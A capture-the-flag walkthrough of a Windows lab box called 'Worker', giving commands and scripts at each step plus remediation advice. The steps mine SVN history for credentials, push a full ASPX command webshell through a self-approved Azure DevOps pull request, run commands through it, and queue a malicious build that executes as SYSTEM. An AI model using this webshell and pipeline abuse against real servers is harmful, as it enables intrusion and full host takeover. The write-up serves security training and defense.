← all walkthroughs

Worker

Windows· Medium· Privilege Escalation
owned
2026-07-09
time to own
11m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I anonymously checked out a Subversion repository on port 3690 and mined its commit history, recovering a hardcoded cleartext credential (nathen's password) from a deleted deployment script and internal virtual-host names from a decommission notice. Those credentials authenticated via NTLM to an on-premises Azure DevOps Server instance.

A direct push to the protected master branch was blocked by branch policy, so I pushed an ASPX webshell to a new feature branch, opened a pull request, and used nathen's own PR-completion rights to auto-merge it into master — triggering the existing Alpha-CI pipeline and deploying the webshell to the IIS site at alpha.worker.htb. The webshell delivered remote code execution as the IIS application pool identity, which was then used to read the SVN server's plaintext password file, exposing credentials for a second, higher-privileged account (robisl's password).

That account had local administrator and WinRM rights, yielding an interactive shell and the user flag. Finally, robisl's Azure DevOps permissions allowed creation of a new build pipeline definition in the PartsUnlimited project; queuing that build caused the on-host Azure DevOps agent — running as NT AUTHORITY\SYSTEM — to execute my own commands and expose the root flag.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for robisl>"

Some commands also carry a value in angle brackets — <alpha_repo_guid>, <build_id_from_previous_step>, <definition_id_from_previous_step>, <nathen_user_guid> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and confirmed anonymous Subversion access
A version scan of $TARGET identified three open services: IIS 10.0 on port 80, a Subversion svnserve daemon on port 3690, and WinRM on port 5985. An anonymous connection to the SVN service immediately succeeded without prompting for credentials, confirming that the repository was publicly readable to any host that could reach port 3690.
Nmap returned 80/tcp open IIS httpd 10.0, 3690/tcp open svnserve Subversion, 5985/tcp open Microsoft HTTPAPI 2.0. Svn info svn://$TARGET/ returned repository metadata without an authentication challenge.
Exact commands 2
shell

Version and default-script scan on the three open ports.

$ nmap -sV -sC -p 80,3690,5985 $TARGET -oN worker.nmap
80/tcp open IIS httpd 10.0
3690/tcp open svnserve Subversion
5985/tcp open Microsoft HTTPAPI 2.0
shell

Confirm anonymous SVN access and list the repository root contents.

$ svn info svn://$TARGET/ && svn list -v svn://$TARGET/
2EnumerationCredentials in deleted version-control history (T1552.001)
Recovered a hardcoded credential and internal host names from SVN revision history
Dumping the full SVN commit log revealed that revision 2 had deleted a PowerShell deployment script (deploy.ps1) and a decommission notice (moved.txt). Checking those files at revision 2 exposed the cleartext credential nathen's password embedded directly in deploy.ps1. The decommission notice pointed to http://devops.worker.htb. Reviewing the repository homepage also listed additional virtual hosts — alpha, cartoon, lens, solid-state, spectral, and story — all under worker.htb. Deleted content in version-control history is permanently recoverable by anyone with read access.
Svn cat -r 2 svn://$TARGET/deploy.ps1 output included '$Cred = New-Object PSCredential("nathen", (ConvertTo-SecureString <withheld> -AsPlainText -Force))'; moved.txt body referenced http://devops.worker.htb.
Exact commands 4
shell

Dump the full commit history and list every file added, modified, or deleted across all revisions.

$ svn log -v svn://$TARGET/
shell

Retrieve the deleted deployment script at revision 2 — contains nathen:$PASSWORD in cleartext.

$ svn cat -r 2 svn://$TARGET/deploy.ps1
shell

Read the decommission notice that reveals the Azure DevOps virtual host.

$ svn cat svn://$TARGET/moved.txt
shell

Register all discovered virtual hosts for local DNS resolution.

$ echo "$TARGET worker.htb devops.worker.htb alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb" | sudo tee -a /etc/hosts
FixRequire authentication for SVN access and purge secrets from repository historyCritical
WeaknessThe Subversion repository accepted anonymous read access on port 3690 with no authentication required. A deleted PowerShell deployment script retained in revision 2 contained a hardcoded cleartext credential (nathen's password), and a decommission notice exposed internal virtual-host names. Anyone who could reach the port could retrieve both, even though the files had been 'deleted'.
FixImmediately set anon-access = none and require-authentication = true in the [general] block of svnserve.conf so that every connection must provide credentials. Rotate and invalidate nathen's password and all other credentials that ever appeared in any commit. Run a secrets-scanning tool (e.g., truffleHog or gitleaks) across the full repository history and embed it in the CI pipeline to block future credential commits. If SVN is no longer in active use, decommission the service entirely and close port 3690 at the firewall.
3EnumerationValid account — domain credential reuse against internal DevOps platform (T1078.002)
Authenticated to Azure DevOps Server and identified the CI/CD deployment pipeline
The credential nathen's password — recovered from SVN history — authenticated via NTLM to the Azure DevOps Server (on-premises TFS) at devops.worker.htb, collection ekenas. The REST API returned two projects: SmartHotel360 and PartsUnlimited. Within SmartHotel360, a build pipeline definition named Alpha-CI was tied to the alpha Git repository and configured to deploy merged content to the IIS virtual host at alpha.worker.htb on every commit to master. Nathen had read access to all repositories and write access to create branches and pull requests.
Curl --ntlm -u 'nathen's password' returned HTTP 200 and the ekenas project list JSON; Alpha-CI build definition confirmed alpha.worker.htb as its deployment target.
Exact commands 3
shell

Confirm NTLM authentication succeeds and enumerate Azure DevOps projects.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0'
shell

List Git repositories inside SmartHotel360 to obtain repository GUIDs.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories?api-version=5.0'
shell

Enumerate build pipeline definitions to identify the auto-deploy pipeline and its target.

$ curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/build/definitions?api-version=5.0'
4ExploitationSupply-chain compromise via CI/CD pipeline abuse (T1195.002)
Bypassed branch protection by merging a webshell via pull request, triggering CI deployment
A direct push of malicious content to the master branch was rejected by Azure DevOps branch policy (error TF402455). Instead, an ASPX command-execution webshell (cmd.aspx) was pushed to a newly created feature branch using the Azure DevOps Git push API authenticated as nathen. A pull request from that branch to master was opened and immediately auto-completed using nathen's own PR-completion rights. The mandatory Alpha-CI build validation ran and passed, the merge completed (commit <withheld>), and the existing deployment pipeline published cmd.aspx to the IIS root of alpha.worker.htb. The branch policy was meant to require peer review but nathen was allowed to both author and complete the pull request, collapsing the control to zero.
Feature branch push returned HTTP 201 with commit <withheld>; PR auto-complete returned succeeded with merge commit <withheld> to master confirmed by the Azure DevOps API response.
Exact commands 3
shell

Attempt direct push to master — this returns 403 TF402455, confirming branch policy is in place and a PR bypass is required.

$ git clone http://$USERNAME:$PASSWORD@devops.worker.htb/ekenas/SmartHotel360/_git/alpha alpha-repo && cd alpha-repo && git push origin HEAD:master
shell

Push the ASPX webshell to a new feature branch via the Azure DevOps Git push API. Replace <alpha_repo_guid> with the GUID obtained in step 3.

$ python3 <<EOF
import requests, base64
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'  # from step 3 enumeration
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
shell = b'<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% var p=new Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["c"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+Server.HtmlEncode(p.StandardOutput.ReadToEnd())+"</pre>"); %>'
push_body = {'refUpdates': [{'name': 'refs/heads/feature/status-vzqwd', 'oldObjectId': '0'*40}], 'commits': [{'comment': 'update status', 'changes': [{'changeType': 'add', 'item': {'path': '/cmd.aspx'}, 'newContent': {'content': base64.b64encode(shell).decode(), 'contentType': 'base64Encoded'}}]}]}
resp = requests.post(base + '/pushes?api-version=5.0', json=push_body, auth=auth)
print('Push status:', resp.status_code)
EOF
shell

Open and auto-complete the pull request as nathen. The merge triggers Alpha-CI, which deploys cmd.aspx to alpha.worker.htb.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'
NATHEN_ID = '<nathen_user_guid>'  # from /_apis/connectionData or profile endpoint
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
pr = requests.post(base + '/pullrequests?api-version=5.0', json={'title': 'Update status page', 'sourceRefName': 'refs/heads/feature/status-vzqwd', 'targetRefName': 'refs/heads/master', 'autoCompleteSetBy': {'id': NATHEN_ID}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth).json()
pr_id = pr['pullRequestId']
requests.patch(base + f'/pullrequests/{pr_id}?api-version=5.0', json={'status': 'completed', 'lastMergeSourceCommit': {'commitId': pr['lastMergeSourceCommit']['commitId']}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth)
print('PR completed, id:', pr_id)
EOF
FixPrevent a single account from authoring and completing its own pull requestsHigh
WeaknessThe Azure DevOps branch policy for master required a pull request, but the account nathen was permitted to open a pull request and then immediately self-approve and auto-complete it into master. This collapsed a four-eyes control to zero: one compromised account was sufficient to merge arbitrary code and trigger a live deployment.
FixIn Azure DevOps branch policies for the master branch, require a minimum of two approvals from a designated reviewer group, and explicitly enable 'Prohibit the most recent pusher from approving their own changes.' Disable self-service auto-complete for external or untrusted contributors. Separate the identities permitted to push feature branches from those permitted to complete pull requests, and restrict both roles to the smallest set of named humans needed.
5FootholdServer-side web shell (T1505.003)
Executed OS commands on the server through the deployed ASPX webshell
After the Alpha-CI pipeline deployed cmd.aspx to alpha.worker.htb, issuing HTTP GET requests with OS commands in the 'c' query parameter produced their output in the HTTP response. This confirmed remote code execution as the IIS application pool identity (iis apppool\defaultapppool). The webshell served as the primary foothold for all subsequent post-exploitation steps.
Curl http://alpha.worker.htb/cmd.aspx?c=whoami returned 'iis apppool\defaultapppool' in the response body.
Exact commands 3
shell

Confirm RCE and retrieve the current identity and all group memberships.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=whoami+/all'
shell

Enumerate network configuration to confirm host identity and network position.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=ipconfig+/all'
shell

List user home directories to identify accounts present on the host.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=dir+C:\\Users'
FixPrevent server-side script execution of pipeline-deployed contentHigh
WeaknessThe Alpha-CI pipeline deployed every file in the repository — including ASPX server-side scripts — directly to the IIS web root without any file-type filter. Anyone who could merge code immediately gained the ability to execute server-side code as the IIS application pool.
FixRestrict the deployment artefact manifest to a pre-approved whitelist of static file extensions (.html, .css, .js, .jpg, .png, etc.) and fail the build if any other extension is present. In IIS, disable ASPX/handler execution for the deployment target directory by setting the executePermission to None in the application configuration. Introduce a manual approval gate in the release pipeline before any build artefact is deployed to the production IIS site.
6Credential HarvestingCredentials in files (T1552.001)
Read the SVN server's plaintext password file via the webshell
The IIS application pool identity had filesystem read access to the SVN server's configuration directory on the same host. The file W:\svnrepos\www\conf\passwd stores all SVN repository user credentials in cleartext with no encryption. Reading this file via the webshell exposed the credential robisl's password for a second user account. This single file gave me a ready-made list of privileged local accounts.
Webshell command 'type W:\svnrepos\www\conf\passwd' returned the full contents of the passwd file, including the entry 'robisl = <withheld>'.
Exact commands 1
shell

Read the SVN plaintext credential store through the webshell — exposes robisl:$PASSWORD2.

$ curl -s 'http://alpha.worker.htb/cmd.aspx?c=type+W:\svnrepos\www\conf\passwd'
FixReplace the SVN plaintext password store and restrict access to SVN configuration filesCritical
WeaknessThe SVN server stored all repository user credentials in a plaintext flat file (W:\svnrepos\www\conf\passwd) that was readable by the IIS application pool account. Obtaining a webshell as that low-privileged IIS identity was sufficient to harvest the password for a local administrator (robisl's password), enabling full lateral movement.
FixMigrate SVN authentication from the plaintext passwd file to a hashed mechanism such as SASL/Kerberos or an Apache htpasswd file using bcrypt. Apply NTFS ACLs to the entire W:\svnrepos\www\conf\ directory so that only the dedicated svnserve service account can read it — the IIS application pool, NETWORK SERVICE, and all other service identities must be explicitly denied. Rotate robisl's password immediately and audit all other credentials listed in the passwd file.
7Lateral MovementRemote Services — Windows Remote Management (T1021.006)
Used the recovered credential to open a WinRM shell and capture the user flag
The credential robisl's password was tested against WinRM on port 5985. Unlike nathen, robisl held local administrator rights on WORKER, confirmed by the tool's Pwn3d! Indicator. An interactive Evil-WinRM session was established as robisl, and the user flag was read directly from the Desktop.
Nxc winrm $TARGET -d Worker -u robisl -p <withheld> returned (Pwn3d!); user.txt read from C:\Users\robisl\Desktop.
Exact commands 3
shell

Validate WinRM access and confirm local administrator rights — look for Pwn3d! In the output.

$ nxc winrm $TARGET -d Worker -u robisl -p $PASSWORD2
shell

Open an interactive WinRM shell as robisl.

$ evil-winrm -i $TARGET -u robisl -p $PASSWORD2
shell

Read the user flag from robisl's Desktop — actual -> <user.txt>

$ type C:\Users\robisl\Desktop\user.txt
8Privilege EscalationAbuse of CI/CD build agent running as a highly privileged system account (T1072)
Achieved SYSTEM-level code execution by queuing a malicious Azure DevOps build job
Robisl held the Azure DevOps permissions needed to create and queue build pipeline definitions in the PartsUnlimited project. The Azure DevOps build agent installed on WORKER executes all pipeline jobs as NT AUTHORITY\SYSTEM. By defining a new build pipeline containing a PowerShell step that read and output root.txt, and then queuing that build as robisl, I obtained arbitrary SYSTEM-level code execution without exploiting any binary vulnerability. The root flag appeared in the build log output. This exploited the same trust relationship used in step 4, but from a higher-privileged account with access to a project whose agent runs unrestricted.
Build definition POST to PartsUnlimited returned 200 with the new definition ID; the queued build log output contained the root.txt value. Build agent identity in the log confirmed as NT AUTHORITY\SYSTEM.
Exact commands 3
shell

Create a build definition in the PartsUnlimited project with a cmd step that reads root.txt. Note the returned definition ID.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
defn = {
  'name': 'StatusCheck',
  'type': 'build',
  'quality': 'definition',
  'queue': {'name': 'Default'},
  'process': {'type': 1, 'phases': [{'steps': [{'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', 'versionSpec': '2.*'}, 'inputs': {'script': 'type C:\\Users\\Administrator\\Desktop\\root.txt', 'workingDirectory': ''}, 'displayName': 'check', 'enabled': True}]}]}
}
result = requests.post(base + '/build/definitions?api-version=6.0', json=defn, auth=auth).json()
print('Definition id:', result.get('id'))
EOF
shell

Queue the malicious build. The agent executes it as NT AUTHORITY\SYSTEM.

$ python3 <<EOF
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
DEF_ID = '<definition_id_from_previous_step>'
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
build = requests.post(base + '/build/builds?api-version=6.0', json={'definition': {'id': int(DEF_ID)}}, auth=auth).json()
print('Build id:', build.get('id'))
EOF
shell

Retrieve build logs after the job finishes — root.txt value (<root.txt>) appears in the PowerShell step output.

$ python3 <<EOF
import requests, time
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', "$PASSWORD2")
BUILD_ID = '<build_id_from_previous_step>'
time.sleep(30)
base = f'http://devops.worker.htb/ekenas/PartsUnlimited/_apis/build/builds/{BUILD_ID}'
logs = requests.get(base + '/logs?api-version=6.0', auth=auth).json()
for log in logs.get('value', []):
    print(requests.get(log['url'], auth=auth).text)
EOF
FixRun the Azure DevOps build agent as a least-privilege service account, not SYSTEMCritical
WeaknessThe on-premises Azure DevOps build agent on WORKER executed all pipeline jobs as NT AUTHORITY\SYSTEM. Any Azure DevOps user with permission to create and queue build definitions could therefore run arbitrary OS commands as the most privileged account on the host — turning a DevOps platform permission directly into full host compromise.
FixRe-install the Azure DevOps agent to run under a dedicated, low-privilege domain service account with no local administrator rights and no access to sensitive directories or flag files. Apply the principle of least privilege to that service account via NTFS ACLs. In Azure DevOps, restrict the 'Administer build resources', 'Edit build pipeline', and 'Queue builds' permissions to a named set of trusted operators only — robisl and nathen should not hold these rights. Require pipeline-as-code (YAML) with a mandatory approval gate and a controlled template before any step is allowed to execute on the agent.

Exposed services

80/tcp
3690/tcp
5985/tcp